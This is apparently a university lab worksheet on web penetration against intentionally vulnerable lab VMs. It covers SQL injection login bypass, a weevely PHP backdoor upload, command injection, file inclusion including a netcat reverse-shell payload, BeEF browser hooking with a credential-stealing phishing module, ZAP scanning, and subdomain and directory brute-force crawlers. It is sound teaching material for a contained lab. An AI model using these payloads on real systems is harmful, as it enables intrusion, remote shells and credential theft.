# Lab 8

Web Penetration and Web Crawlers

Make sure your Kali VM and Metasploitable2 are in the same NAT Network.

1. NAT/NAT Network Revisited

   Network Address Translation (NAT): A method of remapping an IP address space into another by modifying addresses in the IP header of packets while they are in transit across a traffic routing device. → Map a public IP address to private one. (One-to-one NAT = Basic NAT = NAT). Map a public IP address to private subnet. (One-to-many NAT = NAT Network).

   In the VirtualBox network setting, the Oracle VirtualBox networking engine plays the role of NAT gateway that maps traffic from and to the VM (NAT) and VM subnet (NAT Network).

   Consequence: In NAT and NAT Network modes, the VMs are invisible and unreachable from the outside internet. (But those VMs can use the Internet (provided by the host machine freely.)

   Experiment: Perform `ping` from host machine to VMs and from VMs to the host machine.

2. SQL Injection

   To use Mutillidae properly, issue `sudo nano /var/www/mutillidae/config.inc` at the terminal of your Metasploitable VM, and change `$dbname` to `'owasp10'`.

   You will perform SQL Injection on http://<Meta_IP>/mutillidae. On your Kali VM, visit the website (http://<Meta_IP>/mutillidae) using the web browser. Then try to login using SQL injection. (Click "Login/Register" on the menu bar of the Mutillidae page.)'

   During the lecture, we saw that by entering `admin` in the username field and `123' or 1=1#` in the password field, one can log into the system successfully.

   Note that the SQL Statement: `SELECT * FROM accounts WHERE username ='admin' and password ='123' or 1=1#'`was formed and the attacker was able to login without knowing the admin password.

In fact, assuming that admin is a correct username we don't even have to provide `123' or 1=1#'` as a password. Can you work out a solution? (That is, what should we put as username in order not to put anything as password?) Hint: From the SQL statement `SELECT * FROM accounts WHERE username ='admin' and password ='123' or 1=1#'`, think about how to disable the password part using #.

3. File Upload vulnerability

   First, we need to generate a backdoor. On Kali, type and run:
   `weevely generate <your_password> ./shell.php` (The Default path is `/usr/share/weevely` if you do not specify the path.)

   Now, enter Meta_IP to your browser on Kali. (As Metasploitable2 is always running a web server, you can connect it through your browser on Kali.)

   Select DVWA and open DVWA's page on the browser. Enter `admin` and `password` for username and password, respectively. From the left panel, select "DVWA Security" and choose "low" and

   Upload the PHP shell (`shell.php`) by clicking "Upload" button on the left panel. Then, on the Kali terminal, type and run `weevely http://<MetasploitableIP>/dvwa/hackable/uploads/shell.php <password>`

   What happens? Run any Unix commands.

4. Command Execution vulnerability

   Make sure the security setting of DVWA is still "low".
   Select "Command Execution" on the left panel. Enter any IP in the field of "Ping for FREE" section. It may look like a regular web-based ping service.

   Then enter any IP followed by `;pwd` (Unix command executions can be sequenced by putting ;) Concatenate another Unix command. Note that those Unix commands are executed one by one.

   Try to create a reverse shell (from Meta to Kali) using this vulnerability.

5. Local File Inclusion (LFI) vulnerability

   Click "File Inclusion" on the left panel of the DVWA page. On the URL field, modify the path after `?page=` to `/etc/passwd` What can you see on the browser?

   Try to access other files like `/etc/updatedb.conf` or `/etc/vsftpd.conf`

6. Remote File Inclusion (RFI) vulnerability

   Login to Metasploitable VM and type `sudo nano /etc/php5/cgi/php.ini` (This is the PHP configuration file on Metasploitable.) Then, change the status of `allow_url_fopen` and `allow_url_include` to `On`. (You may want to use ctrl-w to look for a string on nano.) Save your php.ini and exit. Then, run `sudo /etc/init.d/apache2 restart` to restart the web server.

   Then, move to your Kali VM and create a *text* file (by typing `gedit rev_shell.txt`) that contains the following PHP code:

```
<?php
   passthru("nc <Kali IP> 5555 -e /bin/bash");
?>
```

   Save it to `/var/www/html`. Then run apache2 server: `service apache2 start`. Also, open another terminal window and run `nc –v –l –p 5555`

   Now, open a browser and go to the DVWA page (and change the security level to "low" in DVWA Security if necessary.) Then, click "File Inclusion" then modify the URL to `?page=http://<kali IP>/rev_shell.txt`

   We have a created a reverse shell of Metasploitable on Kali VM. Try any Unix commands such as `ls`.

   Note that the file type that has a php code is txt not php. If you use php as a file type the code *will be run on Kali* (not on Metasploitable) and we will not get a reverse shell that we want.

7. Stored Cross-Site Scripting (XSS) vulnerability using DVWA

   We will try the basic XSS using DVWA. A Javascript code will be stored on a particular page and will be executed on the client's machine whenever the page is accessed.

   Connect to the DVWA page running on Metasploitable2. On DVWA, select "XSS stored". Be.

   Click other buttons on the left panel and click "XSS stored" again. What happens?

   Try a similar attack with "XSS reflected".

8. Installing and running BeEF

   # apt-get update
   # apt-get install beef-xss

BeEF is a "browser exploitation framework", which is to attack the target's web browser by hooking it through injecting Javascript code. The hook code can be placed in a HTML page. If a victim visits a specific web site that contains this hook code, his/her browser will be hooked and further exploited. That is, BeFF is based on XSS.

First change username and password in `config.yaml` located in `/etc/beef-xss`.

To launch BeEF, click the BeEF icon on the left panel (and wait a bit). If the icon is not there, you can start it from Applications > System Services > beef start. The browser will open automatically (remember to shutdown your apache2 web server before you start BeEF). Once the BeEF page is loaded, enter the username and the password you entered in `config.yaml`.

Explore some panels. On the left panel, there is a "Hooked Browsers" section. The victim's browser hooked by your BeEF will appear here.

To hook a browser, we need to place a hook Javascript code in Kali's `index.html` (which is in /var/www/html/) Open index.html and insert the following code after <head>:
`<script src="http://kaliIP:3000/hook.js"> </script>`

In other words, index.html should be modified as follows. (Warning: 10.0.2.15 is my Kali IP. You should change it to yours.)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <script src="http://10.0.2.15:3000/hook.js"></script>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Debian Default Page: It works</title>
    <style type="text/css" media="screen">
```

Then, run your web server: `service apache2 start.`

Start Ubuntu VM and open a browser and go to `http://<your kali IP>`. Come back to Kali VM and see what happens in BeEF UI.

9. Using various BeEF "Commands"

Once you hooked the victim's browser, which appears in "Online Bowsers", click the victim's IP and then "Commands" panel on your BeEF page.

On search window, enter `alert`. You will get "Create Alert Dialog". In the dialog box, type in anything and see what happens on the browsers visiting your website from Ubuntu.

On search window, enter `redirect`. You will get "Redirect Browser". In the dialog box, type in any URL and see what happens on the browsers visiting your website from Ubuntu.

Now, on search window, enter `pretty theft`. You will get "Pretty Theft". Choose any Dialog Type (YouTube, for example) and see what happens on the browsers visiting your website from Ubuntu. Enter username and password on the browser on Ubuntu. Come back to Kali and check "Module Results History" on the BeEF page.

10. OWASP Zed Attack Proxy (ZAP)

Turn on your Metasploitable2 VM.

OWASP ZAP is a scanning/exploit tool for web penetration. You can search and run OWASP ZAP from Kali's application panel on the left.

Go back to **Kali**, In the text box for URL of OWASP ZAP, enter http://metasploitable_IP/mutillidae.

You can click "Alerts" tab to see the vulnerabilities found. Click one of them to view or execute it on the web browser by right-clicking it. You can see the number of vulnerability of the website. Try to look at SQL injection, for example.

11. Simple Web Crawler Program for Searching Subdomains

A while ago, we learned about subdomains. Recall that subdomains are used to represent servers or websites which belong to a particular domain. For example, eng.uow.edu.au, maps.uow.edu.au are all subdomains of the domain, uow.edu.au. The problem is that those subdomains are not secured enough as the main domain.

We can find subdomains using various web-based information gathering tools, but we are going to write a web crawling program using Python to search for subdomains of a given domain.

A convenient way to do this is to use the package request in Python. A skeleton code to start is as follows.

```
import requests

domain = "uow.edu.au"
url = "http://"+domain

response = requests.get(url)
print(response)
```

What is the output? Change `domain` to `"abc.uow.edu.au"`. What do you get now? Think about how you can modify the above code so that you do not get an error message when a url for non-existent subdomain is provided.

Now, the remaining part is to provide possible urls for subdomain from a dictionary file. Download "subdomains.txt" from the subject Moodle site. Then, make the above program open this file and read each line one by one. As there is a new line character "`/n`" after each (domain) word, we need to use `strip()` to remove that new line character. Also, make a Python function that takes a url as input and return `response`. In the main body of the program, you should have an if-statement to check whether this function returns something or nothing (in case a requested subdomain does not exist.) If you output the urls that return something, you are done!

12. Web Crawler Program for Searching Subdirectories

You can modify the program from task 11 to write a crawler program that searches for subdirectories in the given website. Download "dirs.txt" from the subject Moodle site. In a similar way as done in task 11, you can read each word in "dirs.txt" line by line to form a url that you can check whether it exists.

To test your program, use DVWA website provided by Metasploitable. What do you get as output?